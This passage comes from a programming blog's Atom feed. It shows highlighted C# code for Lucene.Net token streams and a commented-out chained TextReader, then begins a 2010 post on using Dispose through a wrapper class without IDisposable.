class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;347&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;348&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RestoreState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CaptureState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;349&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;350&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;success&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;351&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;352&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MoveNext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;353&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Current&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;354&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;355&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;356&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;357&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;358&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;359&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;360&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Reset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;361&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;362&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;null&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;363&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Reset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;364&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;365&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;366&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;367&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;368&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;cs&#34;&gt;//// FROM: http://stackoverflow.com/questions/2925652/how-to-string-multiple-textreaders-together&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;369&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//public static class Extensions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;370&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;371&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    public static TextReader Union(this TextReader first, TextReader second)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;372&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;373&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        return new ChainedTextReader(first, second);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;374&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;375&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;376&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    private class ChainedTextReader : TextReader&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;377&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;378&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        private TextReader first;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;379&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        private TextReader second;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;380&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        private bool readFirst = true;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;381&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;382&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public ChainedTextReader(TextReader first, TextReader second)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;383&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;384&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            this.first = first;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;385&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            this.second = second;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;386&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;387&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;388&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public override int Peek()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;389&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;390&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            if (readFirst)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;391&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;392&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                return first.Peek();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;393&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;394&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;395&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;396&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                return second.Peek();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;397&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;398&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;399&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;400&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public override int Read()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;401&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;402&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            if (readFirst)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;403&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;404&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                int value = first.Read();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;405&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                if (value == -1)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;406&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;407&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                    readFirst = false;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;408&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;409&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;410&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;411&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                    return value;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;412&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;413&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;414&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            return second.Read();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;415&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;416&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;417&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public override void Close()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;418&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;419&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            first.Close();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;420&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            second.Close();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;421&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;422&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;423&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        protected override void Dispose(bool disposing)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;424&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;425&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            base.Dispose(disposing);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;426&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            if (disposing)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;427&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;428&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                first.Dispose();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;429&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                second.Dispose();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;430&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;431&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;432&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;433&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;434&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is available as a Gist here: &lt;a href=&#34;https://gist.github.com/thoward/744444&#34;&gt;https://gist.github.com/thoward/744444&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: Adding Dispose without IDisposable</title>
		<id>https://blog.thoward37.me/articles/code-snippet-adding-dispose-without-idisposable</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-adding-dispose-without-idisposable" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-adding-dispose-without-idisposable" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-adding-dispose-without-idisposable" type="text/html"></link>
		<published>2010-11-11T00:00:00+00:00</published>
		<updated>2010-11-11T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;The topic of implementing &lt;code&gt;IDisposable&lt;/code&gt; within Lucene.Net comes up a lot. While I&#39;m all for it, there are reasons why it hasn&#39;t be done yet.&lt;/p&gt;&#xA;&lt;p&gt;This is an alternative technique that allows using &lt;code&gt;Dispose&lt;/code&gt; without implementing &lt;code&gt;IDisposable&lt;/code&gt; directly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;This example uses a wrapper class, which does implement &lt;code&gt;IDisposable&lt;/code&gt;, and allows the user to inject a custom action to happen when &lt;code&gt;Dispose&lt;/code&gt; is called. It&#39;s a bit more fragile than directly implementing &lt;code&gt;IDisposable&lt;/code&gt; but can be effective if done correctly.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Extensions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span 